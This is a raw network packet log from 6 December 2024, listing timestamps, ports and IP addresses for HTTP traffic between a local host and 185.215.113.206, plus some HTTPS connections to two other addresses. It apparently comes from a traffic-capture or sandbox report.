Dec 6, 2024 18:45:51.593379974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.593400002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.593424082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.593442917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.594477892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.594525099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.594779968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.594816923 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.595565081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.595607996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.596035004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.596172094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.596595049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.596631050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.596769094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.596848011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.597843885 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.597884893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.598280907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.598512888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.598737955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.598783970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.599850893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.599863052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.599875927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.599894047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.599914074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.600846052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.600910902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.600975990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.601017952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.601931095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.601975918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.602293968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.602333069 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.602989912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.603044987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.603317022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.603359938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.604096889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.604140043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.604487896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.604541063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.605190992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.605228901 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.605283976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.605428934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.606215954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.606254101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.606547117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.606585979 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.607294083 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.607465982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.607515097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.607558966 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.608374119 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.608412981 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.608453035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.608530998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.609448910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.609496117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.609561920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.609617949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.610493898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.610605955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.610696077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.610735893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.611596107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.611646891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.611737967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.611892939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.612703085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.612746954 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.612751007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.612811089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.613734961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.613799095 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.614223957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.614263058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.614903927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.614962101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.615036964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.615106106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.615899086 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.615953922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.616286039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.616338015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.617063046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.617367029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.617418051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.618022919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.618164062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.618211031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.619201899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.619304895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.619353056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.620170116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.620421886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.620472908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.621282101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.621414900 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.621462107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.622313023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.622359991 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.622843981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.622886896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.623441935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.623486996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.624011040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.624085903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.624466896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.624615908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.624665976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.625583887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.625866890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.625921011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.626616955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.626667023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.626815081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.626857996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.627666950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.627718925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.627794027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.627840042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.628746986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.628798962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.629230976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.629272938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.630367041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.630412102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.630708933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.630752087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.630930901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.630944967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.630980015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.630995035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.631956100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.632014036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.632277966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.632417917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.633070946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.633112907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.633188009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.633332014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.634135962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.634176016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.634282112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.634334087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.635193110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.635234118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.635741949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.635884047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.636284113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.636327982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.636652946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.636697054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.637346983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.637393951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.637394905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.637438059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.638412952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.638483047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.639502048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.639517069 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.639559984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.639595985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.639622927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.639842033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.640552044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.640599966 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.640922070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.640966892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.641624928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.641680956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.641802073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.641845942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.642676115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.642719984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.642740965 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.642868996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.643791914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.643832922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.643858910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.643872023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.644522905 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:51.644824982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.644884109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.644987106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.645028114 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.645215034 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:51.645247936 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:51.645320892 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:51.645684004 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:51.645689964 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:51.645946980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.645992041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.646497011 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:51.646524906 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:51.646969080 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:51.646974087 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:51.661928892 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.661951065 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.661988974 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.662000895 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.662034035 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.662046909 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.672919035 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.672935009 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.672975063 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.672986984 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.673017979 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.673032045 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.682647943 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.682665110 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.682708025 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.682713985 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.682744026 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.682756901 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.693157911 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.693175077 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.693217993 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.693223953 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.693252087 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.693274021 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.703608036 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.703623056 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.703670025 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.703674078 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.703691959 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.703711033 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.713619947 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.713635921 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.713680029 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.713685989 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.713721991 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.713733912 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.724220991 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.724245071 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.724280119 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.724284887 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.724314928 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.724342108 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.734795094 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.734822035 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.734894037 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.734915972 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.737555027 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.782412052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.782612085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.782697916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.782846928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.782927990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.782978058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.784332037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.784373999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.784394026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.785026073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.785073996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.785275936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.786091089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.786134958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.786273956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.786315918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.787107944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.787308931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.787369967 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.788203001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.788284063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.788331985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.789299011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.789345026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.789525032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.790193081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.790621996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.790829897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.790889978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.791433096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.791532040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.791596889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.792488098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.792937040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.792999983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.793566942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.793678045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.793724060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.794697046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.794800043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.794859886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.795793056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.796102047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.796165943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.796895981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.797054052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.797103882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.797888041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.797933102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.798234940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.799062014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.799124956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.799329042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.800101995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.800148964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.800148964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.800446987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.800496101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.801135063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.801177025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.801310062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.801351070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.802782059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.802835941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.804466009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.805383921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.805396080 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.805409908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.805421114 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.805434942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.805476904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.805928946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.805977106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.806103945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.806170940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.807063103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.807105064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.807209969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.807251930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.808026075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.808064938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.808214903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.808254957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.809185028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.809247017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.809560061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.809603930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.810190916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.810353994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.810575962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.811336040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.811388016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.811512947 CET	80	49796	185.215.113.206	192.168.2.6
